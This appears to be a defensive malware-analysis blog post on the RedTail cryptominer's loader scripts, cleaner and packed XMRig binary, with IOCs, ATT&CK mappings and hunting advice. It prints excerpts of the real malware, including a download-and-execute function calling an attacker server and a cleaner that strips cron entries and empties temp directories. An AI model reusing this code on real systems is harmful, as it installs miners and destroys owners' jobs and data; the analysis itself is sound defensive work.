One Loader followed RedTail across four GreyNoise sensors: sixteen scanner IPs, one download server at 217.60.102[.]5, and an SSH key baked into the exploit. It stopped at the edge of the sensors. Every exploit pointed at /sh on that server, and the sensors block outbound traffic, so none of them ever fetched it.
This part looks at what /sh does once it’s fetched. I didn’t fetch it either. URLhaus had already captured all three files from the loader server, so I downloaded those copies into REMnux and read them there. Nothing in this writeup touched the attacker’s server, and the embedded SSH key from part one stays unused.
Credit: This project was inspired by John Hammond’s interview with the creator of GreyNoise, which introduced Project Swarm and the idea of running your own sensors and keeping the PCAPs.
RedTail’s loader server hands out a setup script (/sh), a cleanup script (/clean) and a miner build per CPU architecture. The setup script looks for a directory the current user can write to anywhere on the system (not just /tmp), runs the cleaner, deletes the old .redtail file, downloads the right build and saves it under a random hidden name, then runs it with the exploit’s module tag (apache, cve_2024_4577) as its only argument. The cleaner stops two known rival miner services, removes immutable flags from cron, and deletes every line in every crontab and shell profile that matches a broad pattern. That pattern catches the victim’s own backup and maintenance jobs, not just rival malware. It then empties the shared temp directories. Neither script installs persistence or spreads. The miner is UPX-packed XMRig with libssh2 compiled in, so the SSH spreading reported against RedTail nodes most likely lives in the binary. Its hash has been the same since at least 2026-07-30, while the exploits and delivery around it changed in the last few weeks.
flowchart LR
E[Exploit<br/>apache / cve_2024_4577] --> S["/sh setup script"]
S --> W{Writable dir<br/>owned by user?}
W --> C["/clean<br/>rivals, cron, temp dirs"]
C --> D[download build<br/>x86_64, i686, aarch64, arm7, riscv]
D --> M[(".randomname<br/>XMRig + libssh2")]
M -- "$1 = module tag" --> P[mining pool<br/>config not in plain text]
M -. SSH client .-> N[next victims?]
| File | URLhaus URL added | Reporter | SHA-256 |
|---|---|---|---|
sh | 2026-10-03 06:15 UTC | Anonymous (cowrie, honeypot) | 917fcc9131c6e9ca16264a85afc62532297bb39eb9d37765dad536c7c8c7735c |
clean | 2026-10-04 04:24 UTC | BlinkzSec | 3f3a11bafabb1a35db913cfe51995f2e357d049e268860175876ae5a93d23892 |
x86_64 | 2026-10-04 04:24 UTC | BlinkzSec | f0aa83bbbd2c75e2f71ec16029ee5fcfad59f3a8efa30a500b815f0f6c18d987 |



These are the versions URLhaus captured on 10-03 and 10-04. All three URLs were still online on 10-18. The server could be handing out newer copies by now, but the exploits I captured from 10-14 to 10-18 call the same paths. The x86_64 hash is the same file Wrong Door traced on MalwareBazaar, first seen there on 2026-07-30.
Handling: downloaded into the REMnux VM (snapshot first, host-only network), read with cat, unpacked with upx -d, searched with strings. No execution.

The two scripts in REMnux match the URLhaus hashes. The miner is a statically linked, stripped x86-64 ELF.
/sh)NOEXEC_DIRS=$(get_noexec_dirs) # findmnt -O noexec, or /proc/mounts
FOLDERS=$(eval find / -type d -user $(whoami) -perm -u=rwx \
-not -path "/tmp/*" -not -path "/proc/*" $EXCLUDE 2>/dev/null)
for i in $FOLDERS /tmp /var/tmp /dev/shm; do
if cd "$i" && touch .testfile && (dd if=/dev/zero of=.testfile2 bs=2M count=1 || truncate -s 2M .testfile2); then
rm -rf .testfile .testfile2
break
fi
done
The first thing the script does is look for a home. It lists every directory on the system owned by the current user with full permissions, skips anything mounted noexec (where a binary can’t run) and stays out of /tmp. It then takes the first one where it can write a 2 MB test file. /tmp, /var/tmp and /dev/shm are only the fallback.
That matters for a web server compromise. The exploit runs as the web server user, so the miner most likely ends up in a directory that user owns: a web root, an upload folder, a cache. I haven’t tested which one find reaches first on a real server, but a hunt that only checks /tmp and /dev/shm can miss it.

.redtailFILENAME=".$(get_random_string)" # 4-35 random letters/digits, or $RANDOM, or "redtail"
...
rm -rf .redtail
rm -rf $FILENAME
Public reporting describes RedTail installing itself as a hidden .redtail file, and some detections look for exactly that name. This version deletes any old .redtail it finds and saves the new miner as a dot followed by 4 to 35 random characters, made with openssl rand, then /dev/urandom, then $RANDOM. Only if all three fail does it fall back to redtail. A filename rule for .redtail will now only catch old infections.

Line 28 is the last-resort name, line 69 deletes the old .redtail, and lines 93 and 100 run the miner with $1, the exploit’s module tag.
dlr() {
rm -rf $1
wget --no-check-certificate -q https://217.60.102[.]5/$1 || curl -skO https://217.60.102[.]5/$1
}
ARCH=$(uname -mp)
if echo "$ARCH" | grep -q "x86_64\|amd64"; then dlr x86_64; mv -f x86_64 $FILENAME
elif echo "$ARCH" | grep -q "i[3456]86"; then dlr i686; mv -f i686 $FILENAME
elif echo "$ARCH" | grep -q "armv8\|aarch64"; then dlr aarch64; mv -f aarch64 $FILENAME
elif echo "$ARCH" | grep -q "armv7"; then dlr arm7; mv -f arm7 $FILENAME
elif echo "$ARCH" | grep -q "riscv"; then dlr riscv; mv -f riscv $FILENAME
else
for a in x86_64 i686 aarch64 arm7 riscv; do # unknown CPU: try them all
dlr $a; cat $a >$FILENAME; chmod +x $FILENAME; ./$FILENAME $1; rm -rf $a
done
fi
chmod +x $FILENAME
./$FILENAME $1 >/dev/null 2>&1
(Lightly condensed; the original has one elif per architecture with separate grep calls.)
uname -mp picks the build. If the CPU isn’t one it knows, it simply downloads and runs all five in turn and lets whichever one works keep running.
Two details tie this back to part one. The download function is called dlr, the same name as the SFTP account the PHP-CGI exploit logs in as ([email protected][.]5). And the last line answers the question part one left open: the module tag the exploit passes to sh -s apache or sh out_sh cve_2024_4577 ends up as $1, and the script hands it straight to the miner. The miner most likely reports which exploit got it onto the box. Only the binary can confirm that, and as the strings below show, it doesn’t contain a fixed list of tags.
/clean)The setup script downloads clean, runs it, and deletes it. It’s a short script that clears the ground before RedTail moves in.
systemctl disable c3pool_miner; systemctl stop c3pool_miner
systemctl disable bot.service; systemctl stop bot.service
c3pool_miner is the service name the widely copied C3Pool XMRig install script creates. bot.service is generic, so it’s hard to say which rival it’s aimed at. Miners fight over CPU, and RedTail is known for clearing out the competition first.

clean_file() {
chattr -ia "$1"
grep -vE 'wget|curl|/dev/tcp|/tmp|\.sh|nc|bash -i|sh -i|base64 -d' "$1" >/tmp/clean_file
mv -f /tmp/clean_file "$1"
}
It runs clean_file over every user crontab in /var/spool/cron/crontabs, /etc/crontab, /etc/crontabs, everything in /etc/cron.{hourly,daily,weekly,monthly,d}, /etc/anacrontab, the current user’s crontab -l, and ~/.bashrc, ~/.bash_profile and ~/.profile. chattr -ia first removes the immutable and append-only flags that rival miners set to protect their own cron entries.
The pattern is aimed at other droppers’ persistence (wget, curl, /dev/tcp, reverse shells, base64 -d), but it’s far too broad. nc matches any line containing those two letters: rsync, sync, func, include, source ~/.bash_functions. \.sh matches every line that runs a shell script, and /tmp every line that mentions it. On a real server that’s most backup, log rotation and maintenance jobs. They don’t fail with an error, they just disappear, and the owner’s shell profile loses lines too.

To check that rather than just claim it, I ran four ordinary lines through the cleaner’s exact pattern: an rsync backup, a backup script, a shell-functions include and a PHP cron job. Only the PHP job survived. That’s just grep on made-up input; nothing from the malware ran.

There’s one more side effect: run as a web user, most of these files aren’t writable, and chattr needs root. So the damage depends on how much access the exploit got. A RedTail infection that landed as root takes the whole cron setup with it.
curr_dir=$(pwd -P)
for dir in /tmp /var/tmp /dev/shm; do
[ -d "$dir" ] || continue
if ! echo "$curr_dir" | grep -q "$dir"; then
find "$dir" -mindepth 1 -maxdepth 1 -exec rm -rf -- {} +
fi
done
Finally it empties /tmp, /var/tmp and /dev/shm completely, except the one it’s running from, so it doesn’t delete itself mid-run. That removes rival droppers parked there, and everything else: session files, sockets, other applications’ temp data.
No cron job, no systemd unit, no authorized_keys entry, no spreading. The cleaner even deletes cron lines that look like a wget/curl loader, which is exactly what a RedTail persistence entry built from its own loader would look like. Whatever keeps RedTail running after a reboot, and whatever spreads it over SSH, isn’t in these two scripts.

The x86_64 build is UPX-packed: upx -d takes it from 1.99 MB to 5.2 MB. I didn’t reverse engineer it. strings on the unpacked file was enough to answer three questions.
It’s XMRig. stratum+tcp://, stratum+ssl://%s, POOL #, no active pools, stop mining, pool-side hashes and UV_THREADPOOL_SIZE (XMRig is built on libuv) are all stock XMRig. So is the developer donation code: donate.v2.xmrig.com, donate.ssl.xmrig.com, donate-level. That’s leftover code, not evidence it donates; modified miners usually set the level to 0. This agrees with the Linux.Coinminer.XMRig classification noted in Wrong Door, and is one more reason to treat MalwareBazaar’s Prometei label as wrong.

It has an SSH client built in. The binary is statically linked, so every library it uses is compiled in, and one of them is libssh2: the strings include SSH-2.0-libssh2_1.11.1, _libssh2_channel_free, ssh-userauth messages, Ed25519, RSA and ECDSA key types, and an OpenSSH private-key parser. A miner doesn’t need SSH to mine. This is almost certainly where the spreading lives, and it fits AbuseIPDB reporting four of the five full-menu nodes from part one mainly for SSH brute force. Strings show the capability, not the behaviour: whether it guesses passwords, reuses keys or both would take proper analysis.

Things that aren’t there. No pool address, no wallet and no C3Pool, SupportXMR, MoneroOcean, HashVault or Nanopool names, so the pool configuration is encrypted or supplied at runtime. No authorized_keys, id_rsa, id_ed25519, known_hosts or .ssh/ paths, so either it doesn’t read victims’ existing SSH keys, or those strings are hidden the same way the config is. Given the pool is hidden, I wouldn’t read much into that second gap. And no apache or cve_ strings: the miner doesn’t know the module tags in advance, it just takes whatever $1 it’s given.

No SSH key paths and no known pool names: both searches come back empty.
Same miner since July. The hash is identical to the one Wrong Door looked up: first seen on MalwareBazaar on 2026-07-30, still served on 10-18. Over the same period the delivery picked up a 49-request exploit menu, an SCP route with a baked-in key, random filenames and a cleaner that rewrites cron. The operator is investing in getting in, not in the miner.
| Phase | Action |
|---|---|
| Execution | Exploit pipes /sh into sh with a module tag (part one) |
| Discovery | find for user-owned writable directories, findmnt / /proc/mounts for noexec, uname -mp for CPU |
| Defense Evasion | Miner saved under a random hidden name; old .redtail deleted; build UPX-packed |
| Defense Evasion | chattr -ia on cron files and directories |
| Impact | systemctl stop/disable on rival miner services; cron and profile lines deleted; temp directories emptied |
| Ingress Tool Transfer | wget / curl over HTTPS for clean and the architecture build |
| Defense Evasion | clean and downloaded build files deleted after use |
| Impact | XMRig mining; pool configuration hidden |
| Lateral Movement (capability) | libssh2 SSH client compiled into the miner |
| Type | Value |
|---|---|
SHA-256 (sh) | 917fcc9131c6e9ca16264a85afc62532297bb39eb9d37765dad536c7c8c7735c |
SHA-256 (clean) | 3f3a11bafabb1a35db913cfe51995f2e357d049e268860175876ae5a93d23892 |
SHA-256 (x86_64, UPX-packed) | f0aa83bbbd2c75e2f71ec16029ee5fcfad59f3a8efa30a500b815f0f6c18d987 |
| URLs | hxxps://217.60.102[.]5/sh, /clean, /x86_64, /i686, /aarch64, /arm7, /riscv |
| File names | .<4-35 random alphanumerics> in a user-owned writable directory; legacy .redtail; /tmp/clean_file (cleaner’s scratch file); .testfile, .testfile2 (briefly) |
| Services stopped | c3pool_miner, bot.service |
| Strings (unpacked miner) | SSH-2.0-libssh2_1.11.1, no active pools, stop mining, donate.v2.xmrig.com |
| Technique | ID | Description |
|---|---|---|
| Unix Shell | T1059.004 | sh setup and cleanup scripts |
| Ingress Tool Transfer | T1105 | dlr(): wget / curl -k for clean and the miner build |
| System Information Discovery | T1082 | uname -mp picks the build |
| File and Directory Discovery | T1083 | find / -type d -user $(whoami) -perm -u=rwx, findmnt -O noexec |
| Hidden Files and Directories | T1564.001 | Miner saved as a random dot-file |
| Linux and Mac File and Directory Permissions Modification | T1222.002 | chattr -ia on cron files and directories |
| Service Stop | T1489 | systemctl stop/disable c3pool_miner, bot.service |
| File Deletion | T1070.004 | clean and build files deleted; temp directories emptied |
| Software Packing | T1027.002 | UPX-packed miner |
| Resource Hijacking | T1496 | XMRig Monero mining |
Hunt by behaviour, not by name. .redtail is gone. Look for a hidden executable with a random name in a directory owned by the web server user, a process running from a dot-file, or sustained CPU from a binary that isn’t in the package database.
Don’t only look in /tmp. The script prefers any writable directory the compromised user owns. On a web server that’s likely to be in or near the web root.
Cron files changing is a signal. Crontabs, /etc/cron.* and ~/.bashrc rewritten in place, chattr -ia on cron directories, or systemctl stop on services, all from a web server process tree, should alert. File integrity monitoring on those paths catches it.
Cleaning up RedTail means checking cron too. Deleting the miner isn’t the end. Compare every crontab and shell profile against a backup, because the cleaner may have removed legitimate jobs without any error. If backups stopped running on the day of the infection, this is why.
Egress control beats all of this. Every step needs the server to download something from a bare IP over HTTPS, and part one showed the exploit tries SFTP first. A web server that can’t open arbitrary outbound connections never gets past the first wget.
RedTail’s loader is simple, practical code. It finds a place it can write and run from, clears out the competition, picks the right build and starts mining, and it doesn’t care what it breaks on the way. The cleaner’s cron filter is the clearest example: it was written to strip rival miners’ persistence, and it takes the owner’s backups with it.
The bigger picture from the two parts together: the miner has been the same file since July, while everything that gets it onto a server has changed. New exploits, an SCP route with a baked-in key, random filenames. The SSH client inside the miner probably explains why so many RedTail nodes show up in brute-force reports, and why there are always more of them.